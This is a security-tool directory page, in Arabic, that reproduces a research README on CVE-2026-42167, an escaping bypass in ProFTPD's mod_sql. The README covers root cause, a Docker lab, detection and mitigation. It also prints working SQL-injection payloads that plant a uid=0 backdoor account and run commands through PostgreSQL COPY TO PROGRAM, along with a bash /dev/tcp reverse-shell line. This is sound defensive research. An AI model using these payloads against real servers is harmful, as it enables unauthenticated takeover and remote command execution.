Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
proftpd-CVE-2026-42167-analysis — تحليل مستقل لإعادة الإنتاج، وتحليل السبب الجذري على مستوى الكود، وتقرير مفصّل عن التعرض الواقعي لثغرة CVE-2026-42167 (تجاوز دالة is_escaped_text() في وحدة mod_sql الخاصة بـ ProFTPD). | Kitploit
أدوات/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

تحليل مستقل لإعادة الإنتاج، وتحليل السبب الجذري على مستوى الكود، وتقرير مفصّل عن التعرض الواقعي لثغرة CVE-2026-42167 (تجاوز دالة is_escaped_text() في وحدة mod_sql الخاصة بـ ProFTPD).

عرض المستودع
31منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42167 — ثغرة SQL Injection / تجاوز المصادقة / تنفيذ الأوامر في ProFTPD mod_sql

إعادة إنتاج مستقلة، وشرح تفصيلي للسبب الجذري على مستوى الكود، وتحليل صريح لمدى التعرض لثغرة CVE-2026-42167 — وهي تجاوز دالة is_escaped_text() في خط أنابيب تسجيل mod_sql في ProFTPD، والتي كشفت عنها ZeroPath Research وتم إصلاحها في ProFTPD 1.3.9a / 1.3.10rc1.

تم البناء والتحقق من البداية إلى النهاية في Docker على macOS / Apple Silicon، بتاريخ 2026-04-29.

الخلاصة — راجع الخلاصة النهائية للحصول على صورة واقعية لمدى التعرض قبل أن تقرر مدى القلق. هذه الثغرة ليست خللاً في التثبيت الافتراضي، لكن نمط الاقتباس الخطير هو النمط الذي توصي به الوثائق الرسمية باستخدامه، لذا فإن نسبة كبيرة من عمليات نشر mod_sql ترث هذا النمط.

الحقلالقيمة
CVECVE-2026-42167
CWECWE-89 (حقن SQL)، CWE-78 (حقن أوامر نظام التشغيل — عبر PG COPY TO PROGRAM)
المتأثرProFTPD ≤ 1.3.9 مع mod_sql + SQLLog/SQLNamedQuery حيث يقوم سلسلة التنسيق بإدراج متغير يتحكم فيه المهاجم داخل علامات اقتباس مفردة
تم الإصلاح في1.3.9a (af90843ba…) / 1.3.10rc1، راجع الالتزام e6f728481 ("Issue #2052")
الالتزام الضعيف المثبّتae25959adb05ae1d6ebfa1f36bf778c9c34e9410
الملف الضعيفcontrib/mod_sql.c الأسطر 741–758 (is_escaped_text) والسطر 777 (sql_resolved_append_text)
الإفصاح الأصليhttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
PoC عامhttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
ملاحظات الإصدارhttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. السبب الجذري — الاستدلال is_escaped_text() في contrib/mod_sql.c

يقوم mod_sql بحل متغيرات تنسيق التسجيل (%U، %{basename}، إلخ) و يضيف كل جزء إلى استعلام SQL المُنشأ عبر sql_resolved_append_text(). للحفاظ على التوافق مع الإصدارات السابقة مع إعدادات المسؤول التي تلتف بالفعل حول المتغيرات في '…'، تستدعي الدالة is_escaped_text() لتقرر ما إذا كانت sql_escapestring مطلوبة:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

root@kitploit:~
الفحص هيكلي بحت — لا يمكنه التمييز بين *"تم تخطيه بالفعل بواسطة
كود موثوق"* و*"تم صياغته بواسطة مهاجم ليبدو كأنه تم تخطيه بالفعل."*
أي قيمة مقدمة من العميل تطابق `'<no-internal-quotes>'` تتجاوز
`sql_escapestring` ويتم دمجها خامًا في الاستعلام النهائي.

الإعداد القياسي الموثق يغلّف `%U` / `%{basename}` / `%m` بين علامتي اقتباس مفردتين:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

عندما يرسل المهاجم USER '<payload>' (علامة اقتباس في البداية والنهاية، دون علامات اقتباس داخلية)، يستبدل المحلل %U بدون تهريب، منتجًا ''<payload>'' في SQL — حيث تُغلق حرفيات السلسلة الفارغة علامات الاقتباس المحيطة ويُنفَّذ <payload> كـ SQL خام. مع PostgreSQL (PQexec) وSQLite (sqlite3_exec)، تكون الاستعلامات المكدسة مدعومة، لذا يمكن أن يكون <payload> أي تسلسل من العبارات.

نظرًا لأن SQLLog ERR_* يُطلق عند عمليات تسجيل الدخول الفاشلة ويتم تعيين %U من USER قبل المصادقة، فإن الهجوم غير مصادق عليه بالكامل.

الإصلاح (الالتزام e6f728481، "Issue #2052")

تكتسب sql_resolved_append_text() معامل already_escaped. المتصلون الذين يحلّون القيم من مدخلات العميل يمررون FALSE ويمرون الآن عبر sql_escapestring دون قيد أو شرط — لا يزال يتم تطبيق الاستدلال is_escaped_text() للمسار الشرعي "القيمة المهربة مسبقًا في الإعدادات" ولكن لم يعد يُطبَّق على البيانات الخاضعة لتحكم المهاجم.


2. بيئة المختبر```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

root@kitploit:~
- يتم تشغيل الحاويتين عبر `setup/docker-compose.yml`.
- يقوم `setup/proftpd.conf` بتمكين إعداد التسجيل الضعيف (انظر §1).
- يقوم `setup/seed.sql` بإنشاء `users` و`groups` و`activity_log` و`xfer_log`
  و`secrets`، بالإضافة إلى مستخدم FTP شرعي واحد `ftpuser / ftppass`.

---

## 3. إعادة الإنتاج — نسخ ولصق

المتطلبات الأساسية: Docker Desktop، Python 3.10+، git. (`uv` اختياري؛
أكواد الإثبات تعتمد على المكتبة القياسية فقط.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

المتغيران التفاعليان في المستودع الأصلي (preauth_user_rce.py, postauth_stor_rce.py) غير معدّلين ويقومان بفتح صدفة عكسية مدعومة بـ PTY. يستخدمان نفس الأساسية كمتغير العلامة — فقط استبدل أمر الصدفة بـ bash -i >& /dev/tcp/<host>/<port> 0>&1 واستمع على <port> أولاً.


4. الحمولات، بايتًا ببايت

الباب الخلفي قبل المصادقة (أمر USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

root@kitploit:~
لماذا يعمل هذا:

1. **الاقتباسات الخارجية + عدم وجود اقتباسات داخلية** تطابق
   `is_escaped_text()` ← يتم تخطي عملية الهروب.
2. `SQLNamedQuery` المُهيأ هو `INSERT "'%U', '%r', '%m'" activity_log`،
   لذا يصبح SQL المُنشأ
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — لكن
   `<payload>` نفسه يبدأ بـ `'`، لذا فإن الاستعلام الفعلي هو
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` يعلّق على فتحات التنسيق اللاحقة.
4. `$$…$$` اقتباس دولار PostgreSQL يتيح لنا تمرير سلاسل نصية (`backdoor`،
   `pwned123`، `/`، `/bin/bash`) دون استخدام `'` إطلاقًا — مما يحافظ على
   تجاوز `is_escaped_text()`.
5. `SQLLog ERR_*` يُطلق عند فشل تسجيل الدخول ← `PQexec()` ينفذ
   `INSERT INTO users` المُكدَّس ← حساب الباب الخلفي موجود في جدول المصادقة.

### باب خلفي بعد المصادقة (اسم ملف `STOR`، `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

نفس الالتفاف، لكن بمشغّل مختلف. chr(47) = '/' يُستخدم لأن / في اسم الملف يُفسَّر كفاصل أدلة بواسطة FTP، لذا لا يمكن للمهاجم وضع / حرفي في اسم الملف — chr() يسمح لحساب الباب الخلفي بالحصول على homedir = '/' دون إرساله عبر الشبكة.

RCE قبل المصادقة (USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

root@kitploit:~
حيث `<shell-cmd>` هو أي أمر. يقوم PostgreSQL بتشغيله عبر `/bin/sh`
على مضيف **قاعدة البيانات** كمستخدم نظام التشغيل `postgres`. يتطلب أن يكون دور قاعدة البيانات
المستخدم بواسطة `mod_sql` مستخدمًا خارقًا (أو عضوًا في
`pg_execute_server_program`) — وهو أمر شائع في عمليات النشر أحادية المستأجر و
الافتراضي لصورة `postgres` الرسمية في Docker عندما يتم إنشاء الدور عبر
`POSTGRES_USER`.

---

## 5. الأدلة التي تم التقاطها أثناء إعادة الإنتاج

| الملف | ما يوضحه |
|---|---|
| `logs/01_preauth_backdoor.log` | مخرجات PoC قبل المصادقة، تسجيل الدخول باسم `backdoor` ينجح (`230`) |
| `logs/02_db_users_after.log` | جدول `users` يحتوي الآن على `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | مخرجات PoC بعد المصادقة عبر STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | حمولة العلامة المرسلة عبر FTP |
| `logs/06_users_final.log` | الحالة النهائية لجدول `users` |
| `logs/07_proftpd_trace.log` | سجل التتبع الخاص بـ ProFTPD يطبع `text '…' is already escaped, skipping escaping it again` لكل حمولة محقونة — دليل مباشر على أن `is_escaped_text()` يعيد TRUE على مدخلات المهاجم |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` مكتوب *بواسطة مستخدم postgres* على حاوية postgres |
| `screenshots/*.png` | صور PNG لكل جلسة طرفية تم التقاطها |

سطر سجل التتبع هو الدليل القاطع:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

يتم إصدار تلك الرسالة في contrib/mod_sql.c:791 فقط عندما تُرجع is_escaped_text() قيمة TRUE — أي بالضبط عند حدوث الالتفاف.


6. الاكتشاف / التخفيف

الاكتشاف (التحليل الجنائي على خادم مُنشر):

  • grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log مع تفعيل Trace sql:17 يسجّل كل محاولة حقن وصلت إلى الالتفاف.
  • تدقيق activity_log (أو أي جدول يكتب فيه SQLNamedQuery INSERT): الصفوف التي يبدأ فيها عمود اسم المستخدم بعلامة اقتباس شاذة، أو تحتوي على null, null);، أو تحتوي على INSERT/COPY TO PROGRAM/UPDATE تُعد دليلاً.
  • تدقيق جدول users بحثاً عن حسابات بمعرّف uid=0، أو homedir='/'، أو قشرة (shell) مضبوطة على قشرة حقيقية عندما تكون السياسة استخدام /sbin/nologin.

التخفيف:

  • ترقية ProFTPD إلى الإصدار ≥ 1.3.9a / 1.3.10rc1 (الالتزام e6f728481).
  • إجراء تعويضي إذا لم تكن الترقية ممكنة بعد: إزالة المتغيرات التي يتحكم بها المهاجم من سلاسل تنسيق SQLNamedQuery (استبدال '%U' بـ %U الأكثر أماناً فقط داخل الخلفيات المعتمدة على المعاملات، أو استخدام تسجيل قائم على ملفات نصية عادية لفشل تسجيل الدخول).
  • دفاع متعمق: التأكد من أن دور PostgreSQL الخاص بـ mod_sql ليس مستخدماً فائق الصلاحية — فهذا وحده يزيل مسار تنفيذ الأوامر COPY TO PROGRAM (لا يزال الالتفاف في المصادقة عبر INSERT INTO users المكدّس يعمل، لكن نطاق الضرر محتوى داخل قاعدة بيانات proftpd).

7. خريطة الملفات لهذا المستودع```

. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png

root@kitploit:~
---

## 8. هل هذا واقعي — أم حالة حافة مصطنعة؟

الجواب الصادق: **أضيق من دودة "أرسل حزمة واحدة وامتلك الخادم"، لكن النمط القابل للاستغلال موجود في توثيق ProFTPD نفسه، لذا فهو ليس مصطنعًا.** ثلاثة أبعاد مستقلة تحدد ما إذا كان نشر معيّن متأثرًا، وكل بُعد يقلّص عدد الحالات.

### 8.1 هل `mod_sql` محمّل أصلًا؟

`mod_sql` اختياري. إنه **ليس** في البناء الافتراضي لـ ProFTPD وليس في الإعداد الافتراضي لحزم التوزيعات مثل `proftpd-basic` في دبيان. لا يتوفر لديك إلا إذا:

- قمت بالترجمة باستخدام `--with-modules=mod_sql:mod_sql_<backend>`، أو
- قمت بتثبيت حزمة خاصة بالخلفية: `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite` في دبيان، أو `proftpd-postgresql` / `proftpd-mysql` في RHEL.

يثبّت الأشخاص هذه الحزم لسبب واضح: **مصادقة** مدعومة بـ SQL (مستخدمون في قاعدة بيانات بدلًا من `/etc/passwd`) أو **تسجيل نشاط** مدعوم بـ SQL لأغراض التدقيق. كلاهما شائع في بيئات الاستضافة المشتركة، وFTP المُدار، ونشر صناديق إسقاط FTP في الشركات. لذا فإن `mod_sql` يمثل شريحة حقيقية من قاعدة التثبيت — لكن ليس "كل خادم".

### 8.2 هل نمط `SQLNamedQuery` القابل للاستغلال مستخدم فعلًا؟

هنا تكون الواقعية في أعلى مستوياتها. النمط الذي يطلق العطل *هو النمط الموثّق.* أمثلة مأخوذة مباشرة من الشجرة الرئيسية عند الالتزام القابل للاستغلال المثبّت:```
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

كل واحد يغلّف متغيرًا يتحكم فيه المهاجم (%u، %r) بين علامتي اقتباس مفردتين — وهو بالضبط الشكل الذي يسيء is_escaped_text() تصنيفه. المسؤول الذي ينسخ ويلصق من وثائق المصدر الرسمية يرث النمط القابل للاستغلال. هذا هو السبب الرئيسي لأخذ هذا الأمر بجدية.

8.3 قبل المصادقة مقابل بعد المصادقة

المسار غير المُصادَق بالكامل (USER + %U + SQLLog ERR_*) هو الحالة الأضيق. يتطلب كل العناصر الثلاثة:

  • SQLNamedQuery يُدرج %U (اسم المستخدم الأصلي، الذي يُضبط حتى عند فشل تسجيل الدخول) داخل علامات اقتباس مفردة — أقل شيوعًا من %u في الإعدادات الحقيقية، لأن معظم المسؤولين يريدون اسم المستخدم الناجح لأغراض التدقيق ويستخدمون %u.
  • توجيه SQLLog يُفعَّل قبل المصادقة. SQLLog ERR_* هو النمط البديل القياسي لذلك. SQLLog PASS … و SQLLog STOR … (الأكثر شيوعًا) لا يُفعَّلان.
  • خلفية قاعدة بيانات تدعم الاستعلامات المكدّسة (PostgreSQL أو SQLite — انظر §8.4).

إذا كان الإعداد يستخدم %u بدلاً من %U، فإن نفس الخلل ما زال يُنتج تجاوز المصادقة — لكن فقط بعد المصادقة، أي أن المهاجم يحتاج أولاً إلى أي بيانات اعتماد صالحة قبل أن يتمكن من زرع باب خلفي بمعرف مستخدم uid=0. في معظم الإعدادات الحقيقية، هذا هو التعرض الواقعي: مستخدم FTP بصلاحيات منخفضة → مستخدم FTP بصلاحيات جذر عبر رفع ملف واحد.

8.4 الخلفية مهمة جدًا

الاستغلال يعمل بشكل متطابق على كل الخلفيات، لكن ما يمكن للمهاجم فعله يختلف بشكل حاد:

الخلفيةاستعلامات مكدّسة؟تجاوز المصادقة عبر INSERT INTO usersتنفيذ أوامر على مضيف قاعدة البيانات
PostgreSQLنعم (PQexec)يعملنعم عبر COPY TO PROGRAM إذا كان دور قاعدة البيانات بصلاحيات superuser
SQLiteنعم (sqlite3_exec)يعمل (وعامل FTP غالبًا يملك PRIVS_ROOT — وهو أسوأ)لا يوجد مكافئ مباشر، لكن جدول users القابل للكتابة → تسجيل دخول FTP بصلاحيات جذر
MySQLلا — mysql_real_query بدون CLIENT_MULTI_STATEMENTSلا يمكن إلحاق عبارة ثانية؛ يقتصر على استعلام فرعي بعبارة واحدة / حقن SQL أعمى لاستخراج البيانات فقطلا

PostgreSQL أو SQLite ⇒ تأثير كامل. MySQL ⇒ تسريب بيانات / أعمى زمني فقط. MySQL هي الخلفية الأكثر شيوعًا بفارق كبير للاستضافة المشتركة (cPanel و Plesk و ISPConfig كلها تعتمد عليها افتراضيًا)؛ PostgreSQL أكثر شيوعًا في البنى المؤسسية المخصصة. كلا المجموعتين غير هامشيتين.

8.5 تنفيذ الأوامر له بوابة خاصة به

تنفيذ الأوامر الرئيسي عبر COPY TO PROGRAM يتطلب إضافيًا أن يكون دور PostgreSQL الخاص بـ mod_sql بصلاحيات superuser (أو عضوًا في pg_execute_server_program). وهذا يعني:

  • شائع عندما تكون قاعدة البيانات أُنشئت باستخدام متغير البيئة POSTGRES_USER من صورة Docker الرسمية لـ postgres (الافتراضي لمعظم مختبرات الإثبات والعديد من صور الأجهزة، بما في ذلك setup/ في هذا المستودع).
  • شائع عندما يملك ProFTPD مثيل قاعدة البيانات الخاص به (نشرات أحادية المستأجر، صور أجهزة مستضافة).
  • أقل شيوعًا عندما قام مسؤولو قواعد البيانات بتوفير الدور بصلاحيات دنيا.

إذا لم يكن الدور بصلاحيات superuser، فما زلت تحصل على بدائية تجاوز المصادقة (وهي حرجة بحد ذاتها)، لكن تنفيذ الأوامر على مستوى نظام التشغيل على مضيف قاعدة البيانات يختفي.


9. تجميع كل شيء — من هو المعرّض فعليًا```

ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above

root@kitploit:~
---

## 10. التوصيات

لأي شخص يشغّل ProFTPD `mod_sql`:

- **قم بالترقية** إلى الإصدار ≥ 1.3.9a بغض النظر عن الظروف. إنه الإصلاح الكامل الوحيد.
- **إجراءات تعويضية** حتى تتمكن من تطبيق التصحيح:
  - اخفض صلاحية دور قاعدة البيانات إلى **غير-مستخدم-متميّز (non-superuser)** — يلغي فرع تنفيذ الأوامر عن بُعد (RCE) على PostgreSQL.
  - دقّق في جدول `users` / جدول المصادقة بحثًا عن صفوف `uid=0` شاذة أو حسابات أُضيفت مؤخرًا — انظر القسم 6.
  - فعّل `Trace sql:17` وابحث عن
    `is already escaped, skipping escaping it again` في `trace.log` — هذا
    السطر دليل مباشر على محاولة تجاوز.
  - إذا كان ذلك ممكنًا، أزل توجيهات `SQLLog ERR_*` وأي
    صيغ `SQLNamedQuery INSERT` التي تُدرج `%U` (البدائية قبل المصادقة).
    سيظل مسار ما بعد المصادقة موجودًا عبر `%u` /
    `%{basename}`، لكنك تزيل أسوأ الحالات.

---

## 11. الخلاصة

- هذه **ليست** "ثغرة في التثبيت الافتراضي" — يجب أن تكون
  مشغّلًا لـ `mod_sql`.
- إنها **"ثغرة اتباع التوثيق"** — نمط الاقتباس الخطير
  هو النمط الرسمي، منسوخًا ولصقًا عبر أدلة HOWTO الرسمية.
- سيناريو **غير المصادق بالكامل** الوارد في العنوان الرئيسي حقيقي لكنه
  يتطلب مجموعة إعدادات محددة (قبل المصادقة `%U` + حرف بدل `SQLLog ERR_*`)
  وهي أقل شيوعًا من مسار ما بعد المصادقة.
- سيناريو **تصعيد الامتيازات بعد المصادقة** (أي مستخدم FTP → باب خلفي
  بصلاحية uid=0 عبر FTP) هو السيناريو الأكثر واقعية بكثير وينطبق على
  جزء كبير من نشرات `mod_sql` + PostgreSQL/SQLite التي تستخدم
  أنماط التسجيل الموثقة.
- **تنفيذ الأوامر على مستوى نظام التشغيل (RCE) على مضيف قاعدة البيانات**
  مشروط بأن يكون دور قاعدة البيانات مستخدمًا متميزًا (superuser) —
  وهو أمر شائع في الإعدادات أحادية المستأجر / الشبيهة بالأجهزة، وأقل
  شيوعًا في البيئات المُدارة من قبل مسؤولي قواعد البيانات (DBA).

---

## الاعتمادات

- تم اكتشاف الثغرة والإفصاح عنها في الأصل بواسطة
  [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- مستودع PoC العام:
  [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- الإصلاح بواسطة TJ Saunders، الالتزام
  [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
  ("Issue #2052").

هذا المستودع هو إعادة إنتاج وتحليل مستقل لأغراض البحث الدفاعي
والتعليم. لا يوجد استغلال ليوم الصفر (0-day). استخدمه فقط على الأنظمة المصرّح لك
باختبارها.
تنزيل الأداة